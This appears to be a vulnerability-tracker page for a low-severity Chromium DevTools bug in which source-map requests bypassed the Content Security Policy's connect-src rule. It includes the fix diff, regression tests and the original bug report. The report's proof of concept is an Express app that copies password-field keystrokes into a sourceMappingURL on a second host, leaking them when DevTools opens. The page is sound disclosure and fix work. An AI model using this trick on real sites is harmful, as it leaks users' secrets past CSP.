Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in Devtools
DescriptionInsufficient policy enforcement in Devtools
ComponentDevtools
Bug ClassLogic Error
Tracker361116749
Fix commitfe72006efbce (chromium/src) +74/-0
CISA KEVNot listed
CreditedNoam Gaash
Disclosed2025-09-02

Changed Functions

FunctionChangeNotes
if
content/browser/devtools/protocol/network_handler.cc
modified

Files Changed

  • content/browser/devtools/protocol/network_handler.cc
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
From fe72006efbce74a7a7133287a6688cc4f4bec87b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Fri, 04 Jul 2025 01:48:54 -0700
Subject: [PATCH] Implement `connect-src` check for `Network.loadNetworkResource`

Without this check source map requests bypass, potentially allowing data exfiltration.

Bug: 361116749
Change-Id: I3dcc3e089d4a228cc953c11d7155147bb5c2f6e0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6667844
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1482495}
---

diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc
index f0298c7..83676b5 100644
--- a/content/browser/devtools/protocol/network_handler.cc
+++ b/content/browser/devtools/protocol/network_handler.cc
@@ -47,6 +47,7 @@
 #include "content/browser/loader/url_loader_factory_utils.h"
 #include "content/browser/renderer_host/frame_tree_node.h"
 #include "content/browser/renderer_host/navigation_request.h"
+#include "content/browser/renderer_host/render_frame_host_csp_context.h"
 #include "content/browser/renderer_host/render_frame_host_impl.h"
 #include "content/browser/storage_partition_impl.h"
 #include "content/browser/url_loader_factory_params_helper.h"
@@ -3620,6 +3621,19 @@
       return;
     }
 
+    RenderFrameHostCSPContext csp_context(frame);
+
+    network::CSPCheckResult result = csp_context.IsAllowedByCsp(
+        frame->policy_container_host()->policies().content_security_policies,
+        network::mojom::CSPDirectiveName::ConnectSrc, gurl, gurl,
+        /*has_followed_redirect=*/false, /*source_location=*/nullptr,
+        network::CSPContext::CHECK_ENFORCED_CSP,
+        /*is_form_submission=*/false);
+    if (!result.IsAllowed()) {
+      callback->sendFailure(Response::ServerError("CSP violation"));
+      return;
+    }
+
     auto params = URLLoaderFactoryParamsHelper::CreateForFrame(
         frame, frame->GetLastCommittedOrigin(),
         frame->GetIsolationInfoForSubresources(),
@@ -3651,6 +3665,7 @@
       DevToolsAgentHostImpl::GetForId(host_id_);
   if (host) {
     // TODO(sigurds): Support dedicated workers.
+    // TODO(mkwst): Check CSP for non-frame targets.
     auto info = host->CreateNetworkFactoryParamsForDevTools();
     auto factory = CreateNetworkFactoryForDevTools(
         gurl.scheme(), host->GetProcessHost(), MSG_ROUTING_NONE, info.origin,
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+    code : -32000
+    message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+    resource : {
+        headers : <object>
+        httpStatusCode : 200
+        stream : 1
+        success : true
+    }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+  const {page, session, dp} = await testRunner.startURL(
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+      `Tests for Network.loadNetworkResource with CSP`);
+
+  const {result: {frameTree}} = await dp.Page.getFrameTree();
+  const frameId = frameTree.frame.id;
+
+  async function loadResource(url, explanation) {
+    const response = await dp.Network.loadNetworkResource({
+      frameId,
+      url,
+      options: {disableCache: false, includeCredentials: false}
+    });
+    testRunner.log(response.error ?? response.result, explanation, ['headers']);
+  }
+
+  const crossOriginUrl =
+      `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      crossOriginUrl,
+      `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+  const sameOriginUrl =
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      sameOriginUrl,
+      `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+  testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
+    <title>Page with restrictive CSP</title>
+  </head>
+  <body>
+  </body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+    code : -32000
+    message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+    resource : {
+        headers : <object>
+        httpStatusCode : 200
+        stream : 1
+        success : true
+    }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+  const {page, session, dp} = await testRunner.startURL(
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+      `Tests for Network.loadNetworkResource with CSP`);
+
+  const {result: {frameTree}} = await dp.Page.getFrameTree();
+  const frameId = frameTree.frame.id;
+
+  async function loadResource(url, explanation) {
+    const response = await dp.Network.loadNetworkResource({
+      frameId,
+      url,
+      options: {disableCache: false, includeCredentials: false}
+    });
+    testRunner.log(response.error ?? response.result, explanation, ['headers']);
+  }
+
+  const crossOriginUrl =
+      `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      crossOriginUrl,
+      `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+  const sameOriginUrl =
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      sameOriginUrl,
+      `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+  testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
+    <title>Page with restrictive CSP</title>
+  </head>
+  <body>
+  </body>
+</html>
Loading diff…

Original Bug Report

reported by no...@applitools.com

CSP doesn't block sourceMappingURL

VULNERABILITY DETAILS

The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.

VERSION

  • Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
  • Operating System: Ubuntu 24.04 LTS (Codename: noble)

REPRODUCTION CASE

  1. tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
  2. save the code below as server.js
  3. execute node server.js
  4. go to http://localhost:3007/
  5. enter a secret phrase to the password field
  6. open the devtool

expected behavior:

The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.

actual behavior:

The browser transmit the secret passphrase to a third party once the developers tool is opened.

import express from 'express'

const app = express()
const app2 = express()

app.get('/', (req, res) => {
    console.log('index requested')
    res.send(`
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
        <input type="password" onkeyup="f(this.value)"/>
        <script>
            function f(val) {
                document.getElementsByTagName('style')[0].innerHTML = \`
                    /*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
                \`
            }
        </script>
        <style></style>
    `)
})

app2.get('/styles.css.map/:id', (req, res) => {
    console.log(req.params.id, 'requested')
    res.send(``)
})

app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))

CREDIT INFORMATION

Reporter credit: Noam Gaash

View on issue tracker